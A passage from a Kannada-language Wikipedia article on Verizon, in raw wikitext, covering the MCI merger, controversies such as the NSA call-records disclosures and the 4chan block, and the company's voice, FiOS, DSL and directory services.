ರಾಜ್ಯಗಳ ಮೇಲೆ ಕೇಂದ್ರೀಕೃತವಾಗಿತ್ತು. ಇದು ಕಂಪನಿಗೆ ಪ್ರಾದೇಶಿಕ ಫೋನ್್ ಕಂಪನಿಯಾಗಿ ಪರಿಣಾಮಕಾರಿಯಾಗಿ ಲಾಭವನ್ನು ಮರಳಿ ಕೊಟ್ಟಿದ್ದಷ್ಟೇ ಅಲ್ಲ ದೂರ-ಎಳೆದ ಮಾರ್ಗದ ಬಳಕೆದಾರರು ಬಳಕೆ ಶುಲ್ಕವನ್ನೂ ತೆರುವಂತೆ ಮಾಡಿತು. ಹಿಂದಿನ ಎಂಸಿಐ, ತನ್ನ ಗ್ರಾಹಕರ ಕರೆಗಳನ್ನು ವೆರಿಝೋನ್ "ಹೆಜ್ಜೆ ಗುರುತಿ"ನ ಆಚೆ ಹೋಗಬೇಕಾದಾಗ, ಪೂರ್ತಿಗೊಳಿಸುವುದಕ್ಕೆ ಶುಲ್ಕ ತೆರಬೇಕಾಯಿತು. ಎಂಸಿಐ ಸ್ವಾಧೀನವು ಈ ಅಗತ್ಯವನ್ನೆಲ್ಲ ನಿವಾರಿಸಬೇಕಾಯಿತು ಮತ್ತು ದೀರ್ಘಾವಧಿಯ ಮಾರುಕಟ್ಟೆ ಸ್ಥಾನದ ಕಾರ್ಯತಂತ್ರದಲ್ಲಿ ಅದು ಪ್ರಮುಖವಾಗಿತ್ತು. 2006ರ ಜನವರಿ 6ರ ವೇಳೆಗೆ ಎಂಸಿಐಅನ್ನು ವೆರಿಝೋನ್್ನಲ್ಲಿ ವೆರಿಝೋನ್ ಬಿಸಿನೆಸ್ ಹೆಸರಿನಲ್ಲಿ ಸೇರಿಸಿಕೊಳ್ಳಲಾಯಿತು. ಈ ವಿಲೀನದಿಂದ ವಾಷಿಂಗ್ಟನ್ ವಿಝಾರ್ಡ್ಸ್ ಮತ್ತು ವಾಷಿಂಗ್ಟನ್ ಕ್ಯಾಪಿಟಲ್ ನ ಮೂಲವಾದ ವಾಷಿಂಗ್ಟನ್, ಡಿ.ಸಿ.ಗೆ, ವೆರಿಝೋನ್ ಸೆಂಟರ್್(ಮೊದಲು ಇದು ಎಂಸಿಐ ಸೆಂಟರ್)ಗೆ ಹೆಸರಿಡುವ ಹಕ್ಕನ್ನು ವೆರಿಝೋನ್ ಪಡೆದುಕೊಂಡಿತು. ಈ ಸ್ವಾಧೀನಕ್ಕೆ ಸ್ವಲ್ಪ ಮೊದಲು ಎಂಸಿಐ ಟೋಟಾಲಿಟಿ ಎಂಬ ಇಂಟರ್ನೆಟ್ ಕಂಪನಿಯನ್ನು ಖರೀದಿಸಿತ್ತು. ವೆರಿಝೋನ್ ಎಂಸಿಐ ಜೊತೆ ಸೇರಿ ಅಮೆರಿಕ ಸಂಯುಕ್ತ ಸಂಸ್ಥಾನದಲ್ಲಿ ಅತಿದೊಡ್ಡ ಟೆಲಿಕಮ್ಯುನಿಕೇಶನ್ಸ್ ಕಂಪನಿಯಾಗಿದೆ. ಇದರ ಮಾರಾಟ 75.11 ಶತ ಕೋಟಿ ಡಾಲರ್, ಲಾಭ 7.4 ಶತ ಕೋಟಿ ಡಾಲರ್. ಇದರ ಆಸ್ತಿ 168.13 ಶತ ಕೋಟಿ ಡಾಲರ್.{{As of|2005|alt=After}} ಬೆಲ್್ಸೌಥ್/ಎಟಿ ಮತ್ತು ಟಿ ಐಎನ್್ಸಿ ವಿಲೀನ ಮುಗಿದಾಗ ಎಟಿ ಮತ್ತು ಟಿ ಐಎನ್್ಸಿ ಆಸ್ತಿ ಮತ್ತು ಲಾಭದ ಲೆಕ್ಕದಲ್ಲಿ ಜಗತ್ತಿನಲ್ಲಿಯೇ ಅತಿ ದೊಡ್ಡ ಟೆಲಿಕಮ್ಯುನಿಕೇಶನ್ಸ್ ಕಂಪನಿಯಾಗಿದೆ.<ref>[http://www.forbes.com/lists/2007/18/biz_07forbes2000_The-Global-2000_Rank.html ದಿ ಗ್ಲೋಬಲ್ 2000 ಫಾರ್ 2007] {{Webarchive|url=https://web.archive.org/web/20150419044928/http://www.forbes.com/lists/2007/18/biz_07forbes2000_The-Global-2000_Rank.html |date=2015-04-19 }}, ಫೋಬೆಸ್.ಕಾಂ</ref> {| ಕ್ಲಾಸ್ ="ವಿಕಿಟೇಬಲ್" |- ===ವಿವಾದಗಳು=== ವೆರಿಝೋನ್ ಅನೇಕ ಸಾರ್ವಜನಿಕ ವಿವಾದಗಳಲ್ಲಿ ಸಿಲುಕಿದೆ. 2004ರ ಡಿಸೆಂಬರ್ 22ರಂದು ವೆರಿಝೋನ್.ನೆಟ್್ನ ಮೇಲ್ ಸರ್ವರ್್ಗಳನ್ನು ಯುರೋಪಿನ ಸಂಪರ್ಕಗಳನ್ನು ಅಂಗೀಕರಿಸದಂತೆ ಸಂಯೋಜನೆಗೊಳಿಸಲಾಯಿತು. ಸ್ಪ್ಯಾಮ್ ಇ-ಮೇಲ್ ಕಡಿಮೆ ಮಾಡುವ ತಪ್ಪಾದ ಪ್ರಯತ್ನ ಇದಾಗಿತ್ತು. ಬೇಡಿಕೆಯ ಮೇರೆಗೆ ವೈಯಕ್ತಿಕ ಡೊಮೇನ್್ಗಳ ಅಡೆಯನ್ನು ತೆಗೆಯಲಾಯಿತು.<ref>''[http://www.theregister.co.uk/2005/01/14/verizon_email_block/ ವೆರಿಝೋನ್ ಪರ್ಸಿಸ್ಟ್ಸ್ ವಿಥ್ ಯುರೋಪಿಯನ್ ಇಮೇಲ್ ಬ್ಲಾಕೇಡ್]'' , ಜಾನ್ ಲೇಡನ್, ದಿ ರಿಜಿಸ್ಟಾರ್, ಜನವರಿ 14, 2005</ref> 2006ರ ಮೇ 11ರಂದು ವೆರಿಝೋನ್ ಎಟಿ ಮತ್ತು ಟಿ ಐಎನ್್ಸಿ ಹಾಗೂ ಬೆಲ್್ಸೌಥ್ ಜೊತೆ ಸೇರಿ [[ರಾಷ್ಟ್ರೀಯ ಭದ್ರತಾ ಸಂಸ್ಥೆ|ನ್ಯಾಶನಲ್ ಸೆಕ್ಯುರಿಟಿ ಏಜೆನ್ಸಿ]]ಗೆ ಅಮೆರಿಕ ಸಂಯುಕ್ತ ಸಂಸ್ಥಾನದ ಲಕ್ಷಾಂತರ ನಾಗರಿಕರ ಕರೆ ದಾಖಲೆಗಳನ್ನು ಒದಗಿಸಿದೆ ಎಂಬ ಸಂಗತಿಯನ್ನು ''ಯುಎಸ್ಎ ಟುಡೇ'' ಬಹಿರಂಗಪಡಿಸಿದಾಗ ವಿವಾದ ತಲೆದೋರಿತು. ವೆರಿಝೋನ್ ಸಪಾಟಾಗಿ ಸರ್ಕಾರಕ್ಕೆ ದಾಖಲೆಗಳನ್ನು ನೀಡಲಾಗಿದೆ ಎಂಬ ಆರೋಪವನ್ನು ಅಲ್ಲಗಳೆಯಿತು. ಆದರೆ ಆ ಜನವರಿಯಲ್ಲಿ ತಾನು ಸ್ವಾಧೀನಪಡಿಸಿಕೊಂಡ ಎಂಸಿಐ ಹಾಗೆ ಮಾಡಿದೆಯೇ ಎಂಬ ವಿಷಯದ ಬಗ್ಗೆ ಪ್ರತಿಕ್ರಿಯಿಸದೆ ಮೌನ ವಹಿಸಿತು.<ref>''[http://www.commondreams.org/headlines06/0526-05.htm ಪಬ್ಲಿಕ್ ಹಿಯರಿಂಗ್ ಶಾಟ್ ಇನ್ ಫೋನ್ ರೆಕಾರ್ಡ್ ಸ್ಕ್ಯಾಂಡಲ್,] {{Webarchive|url=https://web.archive.org/web/20110624053420/http://www.commondreams.org/headlines06/0526-05.htm |date=2011-06-24 }}'' , ವಿಲಿಯಂ ಫಿಶರ್, ಇಂಟರ್ ಪ್ರೆಸ್ ಸರ್ವಿಸ್, ಮೇ 26, 2006</ref> 2007ರ ಅಕ್ಟೋಬರ್ 12ರಂದು ಕಂಪನಿಯು ಅಮೆರಿಕ ಸಂಯುಕ್ತ ಸಂಸ್ಥಾನದ ಎನರ್ಜಿ ಮತ್ತು ವಾಣಿಜ್ಯದ ಮೇಲಿನ ಸದನ ಸಮಿತಿಗೆ ಬರೆದ ಪತ್ರದಲ್ಲಿ ಎಫ್್ಬಿಐ ಮತ್ತು .ಯು.ಎಸ್.ಸರ್ಕಾರದ ಇತರ ಫೆಡರಲ್ ಏಜೆನ್ಸಿಗಳಿಗೆ ಗ್ರಾಹಕರ ಮಾಹಿತಿಯನ್ನು ಬಹಿರಂಗಪಡಿಸಿರುವುದಾಗಿ ಒಪ್ಪಿಕೊಂಡಿತು. ಜನವರಿ 2005ರಿಂದ ಸೆಪ್ಟೆಂಬರ್ 2007ರ ವರೆಗೆ ಸುಮಾರು 94 ಸಾವಿರ ಬಾರಿ ಈ ಮಾಹಿತಿ ನೀಡಲಾಗಿದೆ ಮತ್ತು 720 ಬಾರಿ ಯಾವುದೇ ಕೋರ್ಟ್ ಆದೇಶ ಅಥವಾ ವಾರಂಟ್ ಇಲ್ಲದೆಯೂ ನೀಡಲಾಗಿದೆ ಎಂದು ಹೇಳಿತು.<ref>[http://www.consumeraffairs.com/news04/2007/10/verizon_surveillance.html ನ್ಯಾಯಾಲಯದ ಆದೇಶಗಳಿಲ್ಲದೆ ವೆರಿಝೋನ್ ಗ್ರಾಹಕರ ದತ್ತಾಂಶಗಳನ್ನು ಸರ್ಕಾರಕ್ಕೆ ನೀಡಿತು], ಕನ್ಸುಮರ್ ಅಫೇರ್ಸ್.ಕಾಂ</ref> 2007ರ ಸೆಪ್ಟೆಂಬರ್್ನಲ್ಲಿ NARAL ಪ್ರೋ-ಚಾಯ್ಸ್ ಅಮೆರಿಕಕ್ಕೆ ಒಂದು ಕಾರ್ಯಕ್ರಮಕ್ಕೆ ತನ್ನ [[ಮೊಬೈಲ್‌ ಫೋನ್‌ (ಚರ ದೂರವಾಣಿ)|ಮೊಬೈಲ್ ಫೋನ್]] ನೆಟ್್ವರ್ಕ್ ಬಳಸಿಕೊಳ್ಳುವುದಕ್ಕೆ ವೆರಿಝೋನ್ ವೈರ್್ಲೆಸ್ ಆರಂಭದಲ್ಲಿ ನಿರಾಕರಿಸಿತು. ಈ ಕಾರ್ಯಕ್ರಮವು ಪ್ರೋ-ಚಾಯ್ಸ್ ಟೆಕ್ಸ್ಟ್ ಮೆಸೇಜ್್ಗಳನ್ನು ಜನರು ಸ್ವೀಕರಿಸುವುದಕ್ಕೆ ಅವಕಾಶಮಾಡಿಕೊಡುವ ಕಾರ್ಯಕ್ರಮವಾಗಿತ್ತು. "ವಿವಾದಿತ ಅಥವಾ ಹಿತಕರವಲ್ಲದ" ಸಂದೇಶಗಳನ್ನು ತಡೆಹಿಡಿಯುವ ಅಧಿಕಾರ ತನಗಿದೆ ಎಂಬ ಕಾರಣ ನೀಡಿತು. ನಂತರ ಅದು ನಿರ್ಣಯವನ್ನು ಕಾಯ್ದಿಟ್ಟಿತು: <blockquote> "ನಿಖರತೆ ಇಲ್ಲದ ಆಂತರಿಕ ನೀತಿಯೊಂದರ ತಪ್ಪಾದ ವಿವರಣೆ ಇದು. ಅದು.... ಅನಾಮಧೇಯ ದ್ವೇಷದ ಸಂದೇಶಗಳನ್ನು ಮತ್ತು ವಯಸ್ಕರ ವಿಷಯಗಳನ್ನು ಮಕ್ಕಳಿಗೆ ಕಳುಹಿಸುವುದನ್ನು ತಡೆಯುವ ಬಗ್ಗೆ ಕಾಳಜಿ ವಹಿಸಲು ವಿನ್ಯಾಸಗೊಳಿಸಿದ್ದು..... &nbsp;ವಿಚಾರಗಳ ಮುಕ್ತ ಹರಿಯುವಿಕೆ ಬಗ್ಗೆ ಅಪಾರವಾದ ಗೌರವ [ವೆರಿಝೋನ್್ಗೆ ಇದೆ.]"<ref>ಲಿಪ್್ಟಾಕ್, ಆಡಮ್ (2007-09-27). ''ವೆರಿಝೋನ್ ರಿವರ್ಸಸ್ ಇಟ್್ಸೆಲ್ಫ್ ಆನ್ ಅಬೋರ್ಸನ್ ರೈಟ್ಸ್ ಮೆಸೇಜಸ್'' . ''ದಿ ನ್ಯೂ ಯಾರ್ಕ್ ಟೈಮ್ಸ್ '' , ಸೆಪ್ಟೆಂಬರ್ 27, 2007. https://www.nytimes.com/2007/09/27/business/27cnd-verizon.html. ದಿಂದ ಮರುಸಂಪಾದಿಸಿದ್ದು.</ref></blockquote> 2008ರಲ್ಲಿ ನಾರ್ಥನ್ ನ್ಯೂ ಇಂಗ್ಲಂಡ್್ನಲ್ಲಿಯ ಲ್ಯಾಂಡ್ ಲೈನ್ ಕಾರ್ಯಾಚರಣೆಯನ್ನು ಫೇರ್್ಪಾಯಿಂಟ್ ಕಮ್ಯುನಿಕೇಶನ್ಸ್್ಗೆ ಮಾರಾಟ ಮಾಡಿದ್ದು ಪ್ರಶ್ನೆಗಳನ್ನು ಮೂಡಿಸಿತು. ಮಾರಾಟದ ಮುಂದುವರಿಕೆಯನ್ನು ಖಚಿತಪಡಿಸಿಕೊಳ್ಳಲು ಪಕ್ಷಗಳು ಮೈನೆ, ನ್ಯೂ ಹ್ಯಾಂಪ್್ಶೈರ್ ಮತ್ತು ವೆರ್್ಮೊಂಟ್ ಸರ್ಕಾರಗಳೊಂದಿಗೆ ವ್ಯವಹರಿಸಬೇಕಾಯಿತು.{{Citation needed|date=June 2008}} 2010ರ ಫೆಬ್ರವರಿ 4ರಂದು ವೆರಿಝೋನ್ ವೈರ್್ಲೆಸ್ ಗ್ರಾಹಕರು ಸೈಟ್ ಇಮೇಜ್ ಬೋರ್ಡ್್ಗಳ ಪ್ರವೇಶಕ್ಕೆ ಅಡಚಣೆಯಾಗುತ್ತಿವೆ ಎಂದು ಸಲ್ಲಿಸಿದ ದೂರುಗಳನ್ನು 4ಚಾನ್ ಸ್ವೀಕರಿಸಲು ಆರಂಭಿಸಿತು. boards.4chan.org ಡೊಮೇನ್್ಗೆ ಪೋರ್ಟ್ 80ಯಲ್ಲಿಯ ಟ್ರಾಫಿಕ್ ಮಾತ್ರ ತೊಂದರೆಗೆ ಈಡಾಗಿದೆ ಎಂಬುದನ್ನು 4ಚಾನ್ ಆಡಳಿತಗಾರರು ಕಂಡುಕೊಂಡರು. ಈ ರೀತಿ ತಡೆ ಮಾಡಿದ್ದು ಉದ್ದೇಶಪೂರ್ವಕವಾಗಿ ಎಂಬುದನ್ನು ಅವರು ನಂಬುವಂತೆ ಆಯಿತು. 2010ರ ಫೆಬ್ರವರಿ 7ರಂದು ವೆರಿಝೋನ್ ವೈರ್್ಲೆಸ್ 4chan.orgಅನ್ನು "ಮುಚ್ಚುಮರೆ ಇಲ್ಲದೆ ತಡೆಯಲಾಗಿದೆ" ಎಂದು ದೃಢಪಡಿಸಿತು.<ref>ಮೂಟ್ (2010-02-07). ವೆರಿಝೋನ್ ವಯರ್್ಲೆಸ್ ಕನ್ಫರ್ಮ್ಸ್ ಬ್ಲಾಕ್. ಸ್ಟೇಟಸ್.4ಚಾನ್.ಆರ್ಗ್, 7 ಫೆಬ್ರವರಿ 2010. http://status.4chan.org/index.html#2310965532000217917 ದಿಂದ ಮರುಸಂಪಾದಿಸಿದ್ದು.</ref> 2010ರ ಆಗಸ್ಟ್್ನಲ್ಲಿ ವೆರಿಝೋನ್ ಮತ್ತು ಗೂಗಲ್್ನ ಅಧ್ಯಕ್ಷರು ನೆಟ್್ವರ್ಕ್್ನ ತಾಟಸ್ಥ್ಯವನ್ನು ವ್ಯಾಖ್ಯಾನಿಸಬೇಕು ಮತ್ತು ಮಿತಿಗೊಳಿಸಬೇಕು ಎಂಬ ಒಪ್ಪಂದಕ್ಕೆ ಬಂದರು. <ref>/https://www.bloomberg.com/news/2010-08-12/google-verizon-pact-may-herald-end-of-equal-access-internet-as-fcc-stalls.html</ref> == ವೆರಿಝೋನ್ ಸೇವೆಗಳು == [[File:Dodge Ram Van Verizon.jpg|thumb|ವೆರಿಝೋನ್ ಸರ್ವಿಸ್ ವ್ಯಾನ್]] ===ಧ್ವನಿ ನೀಡಿಕೆ=== ವೆರಿಝೋನ್ ಅನೇಕ ವಿವಿಧ ರೀತಿಯ ಲ್ಯಾಂಡ್್ಲೈನ್ ಸೇವೆಗಳನ್ನು ಒದಗಿಸುತ್ತದೆ- ಸ್ಟ್ಯಾಂಡರ್ಡ್ POTS (ಪ್ಲೇನ್ ಓಲ್ಡ್ ಟೆಲಿಫೋನ್ ಸರ್ವಿಸ್) ಸೇವೆ ಮತ್ತು VoIP (ವೈಸ್ ಓವರ್ ಇಂಟರ್ನೆಟ್ ಪ್ರೋಟೋಕಾಲ್) ಹಾಗೂ ಆಪ್ಟಿಕಲ್ ಫೈಬರ್ ಲೈನ್ ಸೇವೆಗಳು. ಇದರ ಹೊರತಾಗಿ ವೆರಿಝೋನ್ ದೂರ ಅಂತರದ ಸೇವೆಗಳನ್ನು ಒದಗಿಸುತ್ತದೆ. ಮೈಕ್ರೋಸಾಫ್ಟ್ ಜೊತೆ ಸೇರಿ "ವೆರಿಝೋನ್ ವೆಬ್ ಕಾಲಿಂಗ್" ಎಂಬ ಸೇವೆಯನ್ನು ವೆರಿಝೋನ್ ನೀಡುತ್ತದೆ. ಇದೊಂದು ರೀತಿ VoIP ಸೇವೆ ಇದ್ದಂತೆ, ಇದನ್ನು ವಿಂಡೋಸ್ ಲೈವ್ ಮೆಸೆಂಜರ್ ಒಳಗೆ ಬಳಸುವರು. '' Iobi ಕೂಡ ನೋಡಿ.'' ===ವೊಯ್ಸ್ ಮೇಲ್=== ವೆರಿಝೋನ್ ವೊಯ್ಸ್ ಮೆಸೇಜಿಂಗ್ ಎಂಬ ವೊಯ್ಸ್್ಮೇಲ್ ಸೇವೆಯನ್ನು ಗೃಹ ಮತ್ತು ವಾಣಿಜ್ಯ ಬಳಕೆಗೆ ವೆರಿಝೋನ್ ಒದಗಿಸುತ್ತದೆ. ===ನಿಸ್ತಂತು=== ''ವೆರಿಝೋನ್್ದ ವೈರ್್ಲೆಸ್ ವಿಭಾಗಕ್ಕೆ ವೆರಿಝೋನ್ ವೈರ್್ಲೆಸ್ ನೋಡಿ.'' ===ವೆರಿಝೋನ್ ವೊಯ್ಸ್್ವಿಂಗ್=== ವೆರಿಝೋನ್ ವೊಯ್ಸ್್ವಿಂಗ್ ಒಂದು [[ಅಂತರ್ಜಾಲ ಆಧಾರಿತ ಕರೆ ಪ್ರೋಟೋಕಾಲ್‌|ವೊಯ್ಸ್ ಓವರ್ ಐಪಿ]] (VoIP) ಸೇವೆ. ಈ ಕೊಡುಗೆ ಡೆಲ್ಟಾಥ್ರೀದ್ದು. ಇದನ್ನು ವೆರಿಝೋನ್ ಮರುಮಾರಾಟ ಮಾಡಿತು. ಇದು ಬ್ರಾಡ್್ಬ್ಯಾಂಡ್ ಇಂಟರ್ನೆಟ್ ಸಂಪರ್ಕದ ಜೊತೆ ಫೋನ್ ಸೇವೆಯನ್ನು ಒದಗಿಸುತ್ತದೆ.<ref>{{cite news |url=http://investor.deltathree.com/phoenix.zhtml?c=72861&p=irol-newsArticle&ID=995165 |title=Deltathree Reports First Quarter 2007 Financial Results |date=May 3, 2007 }}{{Dead link|date=ಆಗಸ್ಟ್ 2021 |bot=InternetArchiveBot |fix-attempted=yes }}</ref> ಒಂದು ಡಿಎಸ್ಎಲ್, ಕೇಬಲ್ ಅಥವಾ ವೆರಿಝೋನ್ FiOS ಇಂಟರ್ನೆಟ್ ಕನೆಕ್ಷನ್, ಒಂದು ನಿಯಮಿತ [[ದೂರವಾಣಿ|ಟೆಲಿಫೋನ್]], ಒಂದು ರೌಟರ್ ಮತ್ತು ಒಂದು ಟೆಲಿಫೋನ್ ಅಡಾಪ್ಟರ್ ಈ ಸೇವೆಯನ್ನು ಪಡೆಯುವುದಕ್ಕೆ ಅವಶ್ಯ. 2009ರ ಮಾರ್ಚ್ 31ರಂದು ವೆರಿಝೋನ್ ಇದ್ದ ಎಲ್ಲ ಗ್ರಾಹಕರ ವೈಸ್್ವಿಂಗ್ ಸೇವೆಯನ್ನು ಸ್ಥಗಿತಗೊಳಿಸಿತು. === ವಿಡಿಯೋ === ವೆರಿಝೋನ್ 2005ರ ಸೆಪ್ಟೆಂಬರ್ 22ರಂದು ಟೆಕ್ಸಾಸ್್ನ ಕೆಲ್ಲೆರ್್ನಲ್ಲಿ ತನ್ನ FiOS ವೀಡಿಯೋ ಸೇವೆಯನ್ನು ಆರಂಭಿಸಿತು. 500ಕ್ಕೂ ಹೆಚ್ಚು ಒಟ್ಟು ಚಾನಲ್್ಗಳನ್ನು, 180ಕ್ಕೂ ಅಧಿಕ ಡಿಜಿಟಲ್ ಮ್ಯೂಸಿಕ್ ಚಾನೆಲ್್ಗಳನ್ನು, 95ಕ್ಕೂ ಅಧಿಕ ಉನ್ನತ ವ್ಯಾಖ್ಯೆಯ ಚಾನೆಲ್್ಗಳನ್ನು ಮತ್ತು 10,000 ವೀಡಿಯೋ- ಆನ್- ಡಿಮಾಂಡ್ ಟೈಟಲ್್ಗಳನ್ನು ನೀಡುವುದಕ್ಕಾಗಿ FiOS TV<ref>{{cite web |title=Verizon FiOS TV: FiOS TV |url=http://www22.verizon.com/FiOSForHome/channels/FiOSTV/FiosTVHome.aspx#/ |accessdate=February 12, 2006 |archiveurl = https://web.archive.org/web/20060211011601/http://www22.verizon.com/FiOSForHome/channels/FiOSTV/FiosTVHome.aspx#/ <!-- Bot retrieved archive --> |archivedate = February 11, 2006}}</ref> ಆಪ್ಟಿಕಲ್ ಫೈಬರ್್ಗಳನ್ನು ಬಳಸಿತು. ವೆರಿಝೋನ್ ಡೈರೆಕ್ಟ್ ಟಿವಿ ಸೇವೆಯನ್ನೂ ಒದಗಿಸಿತು. === ದತ್ತಾಂಶ === ತಾನು ಎಲ್ಲಿ ಫೋನ್ ಸೇವೆಯನ್ನು ಒದಗಿಸುತ್ತಿತ್ತೋ ಅಲ್ಲಿ ಬಹು ಭಾಗದಲ್ಲಿ ವೆರಿಝೋನ್ ಹೈಸ್ಪೀಡ್ ಇಂಟರ್ನೆಟ್ DSL ಇಂಟರ್ನೆಟ್ ಸೇವೆಯನ್ನು ಒದಗಿಸುತ್ತಿದೆ. ಡೌನ್್ಲೋಡ್ ಸಾಮರ್ಥ್ಯದ ವರೆಗೆ ವಿವಿಧ ವೇಗದ ಸೇವೆಯನ್ನು ಸ್ಥಳೀಯ ಮೂಲಸೌಕರ್ಯಗಳು ಹೇಗೆ ಬೆಂಬಲಿಸುತ್ತವೆ ಎನ್ನುವುದನ್ನು ಅವಲಂಬಿಸಿ ಡಿಎಸ್ಎಲ್ ಒದಗಿಸುತ್ತಿದೆ. ಕೆಲವು ಗ್ರಾಹಕರಿಗೆ 2006ರಲ್ಲಿ ವೆರಿಝೋನ್ FTTP (ಫೈಬರ್ ಟು ದಿ ಪ್ರಿಮೈಸಸ್ ಅಥವಾ ಫೈಬರ್ ಟು ದಿ ಹೋಮ್) ಸೇವೆಯನ್ನು ನೀಡಲು ಆರಂಭಿಸಿತ್ತು. ವೆರಿಝೋನೋ ಇದನ್ನು "FiOS" ಎಂದು ಕರೆಯುತ್ತಿತ್ತು.<ref>{{cite web |title=Verizon FiOS: FiOS for Home |url=http://www.verizon.net/fios/ | accessdate=September 6, 2005 }}</ref> ನಾನ್-ಪ್ರಾಫಿಟ್ ಸ್ಪಾಮ್ ಮಾನಿಟರಿಂಗ್ ಆರ್ಗನೈಜೇಶನ್ ಸ್ಪಾಮ್್ಹೌಸ್ ಪ್ರಕಾರ ವೆರಿಝೋನ್ ಜಗತ್ತಿನಾದ್ಯಂತ ಇರುವ ನೆಟ್್ವರ್ಕ್್ಗಳಲ್ಲಿ ಅತ್ಯಧಿಕ ಸಂಖ್ಯೆಯ ಸ್ಪಾಮರ್್ಗಳನ್ನು (2007 ಆಗಸ್ಟ್ 2ರಂದು ಇದ್ದಂತೆ) ಹೊಂದಿದೆ.<ref>{{cite web |title=Spamhaus Statistics: The Top 10 |url=http://www.spamhaus.org/statistics/networks.lasso | accessdate=August 2, 2007 }}</ref> ===ಡೈರೆಕ್ಟರಿ ಕಾರ್ಯಾಚರಣೆ=== {{Main|SuperMedia}} ವೆರಿಝೋನ್್ದ ಯೆಲ್ಲೋಪೇಜಸ್ ವ್ಯವಹಾರವು [http://www.superpages.com/ ಸುಪರ್ ಪೇಜಸ್] ಎಂದು ಪ್ರಸಿದ್ಧವಾಗಿದೆ. ಇದು ಟೆಕ್ಸಾಸ್ ನೆಲೆಯನ್ನು ಹೊಂದಿರುವ ಮಾರಾಟ, ಪ್ರಕಟಣೆ ಮತ್ತು ಸಂಬಂಧಿತ ಸೇವೆಯನ್ನು ಒಳಗೊಂಡಿದೆ. 1,200 ಡೈರೆಕ್ಟರಿ ಶೀರ್ಷಿಕೆಗಳು ಮತ್ತು 41 ರಾಜ್ಯಗಳಲ್ಲಿ 121 ದಶಲಕ್ಷ ಪ್ರತಿಗಳನ್ನು ಇದು ಹೊಂದಿದೆ. ಈ ವೆಬ್್ಸೈಟ್್ಗೆ ತಿಂಗಳಿಗೆ ಸುಮಾರು 17 ದಶಲಕ್ಷ ಜನರು ಭೇಟಿ ನೀಡುತ್ತಾರೆ. 2004ರಲ್ಲಿ ಇದರ ಕಾರ್ಯನಿರ್ವಹಣೆ ಆದಾಯವು 3.6 ಶತಕೋಟಿ ಡಾಲರ್ ಇತ್ತು. ಮತ್ತು ದೇಶಾದ್ಯಂತ 7,300 ಸಿಬ್ಬಂದಿ ಇದ್ದರು.<ref>{{cite news |title=Verizon may sell $17 billion directory services |publisher=Billings Gazette |date=December 7, 2005 |url=http://www.billingsgazette.com/index.php?display=rednews/2005/12/07/build/business/52-verizon.inc }}{{Dead link|date=ಆಗಸ್ಟ್ 2021 |bot=InternetArchiveBot |fix-attempted=yes }}</ref> ಅತ್ಯಧಿಕ ಟ್ರಾಫಿಕ್ ಸೈಟ್್ಗಳ ವಿರುದ್ಧ ಸಮನಾಗಿ ನಿಲ್ಲುವ ಉದ್ದೇಶದಿಂದ ಸುಪರ್ ಪೇಜಸ್್ಅನ್ನು ಗೂಗಲ್್ಗೆ ಜೊತೆ ಮಾಡಲಾಯಿತು. ಇದರ ಉದ್ದೇಶ, ತನ್ನ ಪಟ್ಟಿಯಲ್ಲಿರುವ ಲಕ್ಷಾಂತರ ಬಿಸಿನೆಸ್್ಗಳಿಗೆ ಜಾಹಿರಾತು ಹುಡುಕುವ ಸೇವೆಯನ್ನು ಒದಗಿಸುವುದು. ಸುಪರ್್ಪೇಜಸ್ ತನ್ನ ಜಾಹಿರಾತುದಾರರಿಗೆ ಗೂಗಲ್ ಸರ್ಚ್ ಶರತ್ತುಗಳನ್ವಯ ಬಿಡ್ ಮಾಡುವ ಸಾಮರ್ಥ್ಯವನ್ನು ಒದಗಿಸುತ್ತದೆ.<ref>{{cite news |title=Verizon online directory in ad deal with Google |publisher=Reuters |date=March 28, 2006 |url=http://today.reuters.com/business/newsArticle.aspx?storyID=nN28384443}}</ref> 17 ಶತಕೋಟಿ ಡಾಲರ್ ಆಸ್ತಿಯನ್ನು ಹೊಂದಿರುವ ವೆರಿಝೋನ್ ವೈರ್್ಲೆಸ್ ಮತ್ತು ಹೈಸ್ಪೀಡ್ ಇಂಟರ್ನೆಟ್ ಸೇವೆಯ ವ್ಯವಹಾರವನ್ನು ವಿಸ್ತರಿಸುವುದಕ್ಕೆ ಹಣವನ್ನು ಹೂಡಿತು.<ref>{{cite news |first=David |last=Ranii |title=Donnelley likely to pass on Verizon directories |date=December 6, 2005 |publisher=The News & Observer |url=http://www.newsobserver.com/104/story/374766.html }}{{Dead link|date=ಆಗಸ್ಟ್ 2021 |bot=InternetArchiveBot |fix-attempted=yes }}</ref> ವೆರಿಝೋನ್ ಡೈರೆಕ್ಟರಿಯನ್ನು ಪ್ರಕಟಿಸುವ ಕಾರ್ಯಾಚರಣೆಯಿಂದ ತಾನಾಗಿಯೇ ಹಿಂದೆ ಸರಿದ ಮೊದಲ ಬೇಬಿ ಬೆಲ್ ಏನಲ್ಲ. ಕ್ವೆಸ್ಟ್ ಡೆಕ್ಷ್ ಮೀಡಿಯಾ ಆಗುವುದಕ್ಕಾಗಿ ಕ್ವೆಸ್ಟ್್ಡೆಕ್ಷ್ ಡೈರೆಕ್ಟರಿ ಸೇವೆಗಳನ್ನು ಮಾರಾಟ ಮಾಡಿತ್ತು. ಮತ್ತೆ ಇಲ್ಲಿನಾಯ್ಸ್ ಬೆಲ್, ಈಗ ಎಟಿ ಮತ್ತು ಟಿ ತನ್ನ ಡೈರೆಕ್ಟರಿ ಕಾರ್ಯಾಚರಣೆಯನ್ನು ಆರ್.ಎಚ್. ಡೊನ್ನೆಲ್ಲಿಗೆ 1990ರಲ್ಲಿ ಮಾರಿದೆ. ("ಎಟಿ ಮತ್ತು ಟಿ ಯೆಲ್ಲೋಪೇಜಸ್ ಆರ್.ಎಚ್. ಡೊನ್ನೆಲ್ಲಿಯಿಂದ ಪ್ರಕಟವಾಗುತ್ತಿದೆ.") ==ಪ್ರಾಯೋಜಕತ್ವ ಮತ್ತು ಹೆಸರಿಡುವ ಹಕ್ಕು == [[File:Verizon Center.jpg|thumb|left|ವೆರಿಝೋನ್ ಸೆಂಟರ್ ಚೀನಾಟೌನ್, ವಾಷಿಂಗ್ಟನ್, ಡಿ.ಸಿ.]] *ವಾಷಿಂಗ್ಟನ್, ಡಿಸಿ.ಯಲ್ಲಿರುವ ದಿ ವೆರಿಝೋನ್ ಸೆಂಟರ್ *ವೆರಿಝೋನ್ ಚಾಂಪಿಯನ್್ಶಿಪ್ ಟೀಮ್ ಪೆನ್್ಸ್ಕೆ ಜೊತೆ ಐಆರ್್ಎಲ್್ನ ಇಂಡಿ ಕಾರ್ 